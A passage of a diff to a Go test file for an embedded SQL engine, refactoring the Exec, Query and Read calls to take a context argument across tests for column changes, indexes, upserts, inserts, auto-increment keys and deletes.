err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN int INTEGER AUTO_INCREMENT", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN int INTEGER AUTO_INCREMENT", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN surname VARCHAR NOT NULL", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR NOT NULL", nil) require.ErrorIs(t, err, ErrNewColumnMustBeNullable) - _, _, err = engine.Exec("ALTER TABLE table2 ADD COLUMN surname VARCHAR", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 ADD COLUMN surname VARCHAR", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN value INTEGER[100]", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN value INTEGER[100]", nil) require.ErrorIs(t, err, ErrLimitedMaxLen) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) require.NoError(t, err) - _, _, err = engine.Exec("ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) require.ErrorIs(t, err, ErrColumnAlreadyExists) - _, _, err = engine.Exec("INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil) require.NoError(t, err) - res, err := engine.Query("SELECT id, name, surname FROM table1", nil, nil) + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname FROM table1", nil) require.NoError(t, err) - row, err := res.Read() + row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) require.EqualValues(t, "Smith", row.ValuesByPosition[2].Value()) - _, err = res.Read() + _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() @@ -498,20 +505,20 @@ func TestAddColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - res, err := engine.Query("SELECT id, name, surname FROM table1", nil, nil) + res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname FROM table1", nil) require.NoError(t, err) - row, err := res.Read() + row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) require.EqualValues(t, "Smith", row.ValuesByPosition[2].Value()) - _, err = res.Read() + _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() @@ -530,61 +537,61 @@ func TestRenameColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("ALTER TABLE table1 RENAME COLUMN name TO surname", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO surname", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(name) VALUES('John'), ('Sylvia'), ('Robocop') ", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name) VALUES('John'), ('Sylvia'), ('Robocop') ", nil) require.NoError(t, err) - _, _, err = engine.Exec("ALTER TABLE table1 RENAME COLUMN name TO name", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO name", nil) require.ErrorIs(t, err, ErrSameOldAndNewColumnName) - _, _, err = engine.Exec("ALTER TABLE table1 RENAME COLUMN name TO id", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO id", nil) require.ErrorIs(t, err, ErrColumnAlreadyExists) - _, _, err = engine.Exec("ALTER TABLE table2 RENAME COLUMN name TO surname", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 RENAME COLUMN name TO surname", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec("ALTER TABLE table1 RENAME COLUMN surname TO name", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN surname TO name", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("ALTER TABLE table1 RENAME COLUMN name TO surname", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO surname", nil) require.NoError(t, err) - res, err := engine.Query("SELECT id, surname FROM table1 ORDER BY surname", nil, nil) + res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table1 ORDER BY surname", nil) require.NoError(t, err) - row, err := res.Read() + row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) - row, err = res.Read() + row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 3, row.ValuesByPosition[0].Value()) require.EqualValues(t, "Robocop", row.ValuesByPosition[1].Value()) - row, err = res.Read() + row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].Value()) - _, err = res.Read() + _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() @@ -599,31 +606,31 @@ func TestRenameColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("USE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.NoError(t, err) - res, err := engine.Query("SELECT id, surname FROM table1 ORDER BY surname", nil, nil) + res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table1 ORDER BY surname", nil) require.NoError(t, err) - row, err := res.Read() + row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].Value()) require.EqualValues(t, "John", row.ValuesByPosition[1].Value()) - row, err = res.Read() + row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 3, row.ValuesByPosition[0].Value()) require.EqualValues(t, "Robocop", row.ValuesByPosition[1].Value()) - row, err = res.Read() + row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].Value()) - _, err = res.Read() + _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() @@ -634,43 +641,43 @@ func TestRenameColumn(t *testing.T) { func TestCreateIndex(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, name VARCHAR[256], age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[256], age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX IF NOT EXISTS ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX IF NOT EXISTS ON table1(name)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.Equal(t, ErrIndexAlreadyExists, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(id)", nil) require.Equal(t, ErrIndexAlreadyExists, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX IF NOT EXISTS ON table1(id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX IF NOT EXISTS ON table1(id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(age)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.Equal(t, ErrIndexAlreadyExists, err) - _, _, err = engine.Exec("CREATE INDEX ON table2(name)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table2(name)", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec("CREATE INDEX ON table1(title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("INSERT INTO table1(id, name, age) VALUES (1, 'name1', 50)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, name, age) VALUES (1, 'name1', 50)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(name, age) VALUES ('name2', 10)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, age) VALUES ('name2', 10)", nil) require.ErrorIs(t, err, ErrPKCanNotBeNull) - _, _, err = engine.Exec("CREATE INDEX ON table1(active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.Equal(t, ErrLimitedIndexCreation, err) } @@ -682,85 +689,85 @@ func TestUpsertInto(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), "db1") require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) - _, _, err = engine.Exec(`CREATE TABLE table1 ( + _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR, amount INTEGER, active BOOLEAN NOT NULL, - PRIMARY KEY id)`, nil, nil) + PRIMARY KEY id)`, nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1(active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE UNIQUE INDEX ON table1(amount, active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(amount, active)", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrNotNullableColumnCannotBeNull) - _, _, err = engine.Exec("UPSERT INTO table1 (id, age) VALUES (1, 50)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, age) VALUES (1, 50)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", nil) require.ErrorIs(t, err, ErrMissingParameter) params := make(map[string]interface{}, 1) params["id"] = [4]byte{1, 2, 3, 4} - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params) require.Equal(t, ErrUnsupportedParameter, err) params = make(map[string]interface{}, 1) params["id"] = []byte{1, 2, 3} - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params) require.ErrorIs(t, err, ErrInvalidValue) require.Contains(t, err.Error(), "is not an integer") - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (1, @title, false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, false)", nil) require.ErrorIs(t, err, ErrMissingParameter) params = make(map[string]interface{}, 1) params["title"] = uint64(1) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params) require.ErrorIs(t, err, ErrInvalidValue) require.Contains(t, err.Error(), "is not a string") params = make(map[string]interface{}, 1) params["title"] = uint64(1) params["Title"] = uint64(2) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params) require.Equal(t, ErrDuplicatedParameters, err) - _, ctxs, err := engine.Exec("UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) - _, _, err = engine.Exec("UPSERT INTO table1 (id, amount, active) VALUES (2, 10, true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (2, 10, true)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) t.Run("row with pk 1 should have active in false", func(t *testing.T) { - _, ctxs, err = engine.Exec("UPSERT INTO table1 (id, amount, active) VALUES (1, 20, false)", nil, nil) + _, ctxs, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 20, false)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) - r, err := engine.Query("SELECT amount, active FROM table1 WHERE id = 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT amount, active FROM table1 WHERE id = 1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) @@ -775,15 +782,15 @@ func TestUpsertInto(t *testing.T) { }) t.Run("row with pk 1 should have active in true", func(t *testing.T) { - _, ctxs, err = engine.Exec("UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil, nil) + _, ctxs, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) - r, err := engine.Query("SELECT amount, active FROM table1 WHERE id = 1", nil, nil) + r, err := engine.Query(context.Background(), nil, "SELECT amount, active FROM table1 WHERE id = 1", nil) require.NoError(t, err) - row, err := r.Read() + row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) @@ -794,61 +801,61 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) }) - _, _, err = engine.Exec("UPSERT INTO table1 (Id, Title, Active) VALUES (1, 'some title', false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (Id, Title, Active) VALUES (1, 'some title', false)", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (Id, Title, Amount, Active) VALUES (1, 'some title', 100, false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (Id, Title, Amount, Active) VALUES (1, 'some title', 100, false)", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, amount, active) VALUES (2, 'another title', 200, true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, amount, active) VALUES (2, 'another title', 200, true)", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id) VALUES (1, 'yat')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id) VALUES (1, 'yat')", nil) require.Equal(t, ErrInvalidNumberOfValues, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, id) VALUES (1, 2)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, id) VALUES (1, 2)", nil) require.ErrorIs(t, err, ErrDuplicatedColumn) - _, _, err = engine.Exec("UPSERT INTO table1 (id, active) VALUES ('1', true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES ('1', true)", nil) require.ErrorIs(t, err, ErrInvalidValue) require.Contains(t, err.Error(), "is not an integer") - _, _, err = engine.Exec("UPSERT INTO table1 (id, active) VALUES (NULL, false)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES (NULL, false)", nil) require.Equal(t, ErrPKCanNotBeNull, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active) VALUES (2, NULL, true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (2, NULL, true)", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (title, active) VALUES ('interesting title', true)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (title, active) VALUES ('interesting title', true)", nil) require.Equal(t, ErrPKCanNotBeNull, err) - _, _, err = engine.Exec("CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) } func TestInsertIntoEdgeCases(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (title)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (active)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active)", nil) require.NoError(t, err) - _, _, err = engine.Exec("CREATE INDEX ON table1 (payload)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (payload)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil) require.NoError(t, err) t.Run("on conflict cases", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) - ntx, ctxs, err := engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1') ON CONFLICT DO NOTHING", nil, nil) + ntx, ctxs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1') ON CONFLICT DO NOTHING", nil) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) @@ -857,31 +864,31 @@ func TestInsertIntoEdgeCases(t *testing.T) { }) t.Run("varchar key cases", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title123456789', true, x'00A1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title123456789', true, x'00A1')", nil) require.ErrorIs(t, err, ErrMaxLengthExceeded) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 10, true, '00A1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 10, true, '00A1')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("boolean key cases", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', 'true', x'00A1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', 'true', x'00A1')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("blob key cases", func(t *testing.T) { - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, x'00A100A2')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, x'00A100A2')", nil) require.ErrorIs(t, err, ErrMaxLengthExceeded) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, '00A100A2')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, '00A100A2')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("insertion in table with varchar pk", func(t *testing.T) { - _, _, err = engine.Exec("CREATE TABLE languages (code VARCHAR[255],name VARCHAR[255],PRIMARY KEY code)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE languages (code VARCHAR[255],name VARCHAR[255],PRIMARY KEY code)", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO languages (code,name) VALUES ('code1', 'name1')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO languages (code,name) VALUES ('code1', 'name1')", nil) require.NoError(t, err) }) } @@ -890,27 +897,29 @@ func TestAutoIncrementPK(t *testing.T) { engine := setupCommonTest(t) t.Run("invalid use of auto-increment", func(t *testing.T) { - _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR AUTO_INCREMENT, PRIMARY KEY id)", nil, nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR AUTO_INCREMENT, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) - _, _, err = engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER AUTO_INCREMENT, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER AUTO_INCREMENT, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) - _, _, err = engine.Exec("CREATE TABLE table1 (id VARCHAR AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id VARCHAR AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) }) - _, _, err := engine.Exec(` + _, _, err := engine.Exec( + context.Background(), nil, + ` CREATE TABLE table1 ( id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR, active BOOLEAN, PRIMARY KEY id ) - `, nil, nil) + `, nil) require.NoError(t, err) - _, ctxs, err := engine.Exec("INSERT INTO table1(title) VALUES ('name1')", nil, nil) + _, ctxs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name1')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].closed) @@ -918,34 +927,34 @@ func TestAutoIncrementPK(t *testing.T) { require.Equal(t, int64(1), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, 1, ctxs[0].UpdatedRows()) - _, _, err = engine.Exec("INSERT INTO table1(id, title) VALUES (1, 'name2')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (1, 'name2')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) - _, _, err = engine.Exec("INSERT INTO table1(id, title) VALUES (1, 'name2') ON CONFLICT DO NOTHING", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (1, 'name2') ON CONFLICT DO NOTHING", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1(id, title) VALUES (1, 'name11')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (1, 'name11')", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(id, title) VALUES (3, 'name3')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (3, 'name3')", nil) require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1(id, title) VALUES (5, 'name5')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (5, 'name5')", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(id, title) VALUES (2, 'name2')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (2, 'name2')", nil) require.ErrorIs(t, err, ErrInvalidValue) - _, _, err = engine.Exec("UPSERT INTO table1(id, title) VALUES (2, 'name2')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (2, 'name2')", nil) require.ErrorIs(t, err, ErrInvalidValue) - _, _, err = engine.Exec("UPSERT INTO table1(id, title) VALUES (3, 'name33')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (3, 'name33')", nil) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1(id, title) VALUES (5, 'name55')", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (5, 'name55')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) - _, ctxs, err = engine.Exec("INSERT INTO table1(title) VALUES ('name6')", nil, nil) + _, ctxs, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name6')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].closed) @@ -954,12 +963,13 @@ func TestAutoIncrementPK(t *testing.T) { require.Equal(t, 1, ctxs[0].UpdatedRows()) _, ctxs, err = engine.Exec( + context.Background(), nil, ` BEGIN TRANSACTION; INSERT INTO table1(title) VALUES ('name7'); INSERT INTO table1(title) VALUES ('name8'); COMMIT; - `, nil, nil) + `, nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].closed) @@ -976,43 +986,45 @@ func TestDelete(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec("CREATE DATABASE db1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.NoError(t, err) - _, _, err = engine.Exec("DELETE FROM table1", nil, nil) + _, _, err = engine.Exec(context.Background(), nil, "DELETE FROM table1", nil) require.ErrorIs(t, err, ErrNoDatabaseSelected) - err = engine.SetCurrentDatabase("db1") + err = engine.SetCurrentDatabase(context.Background(), 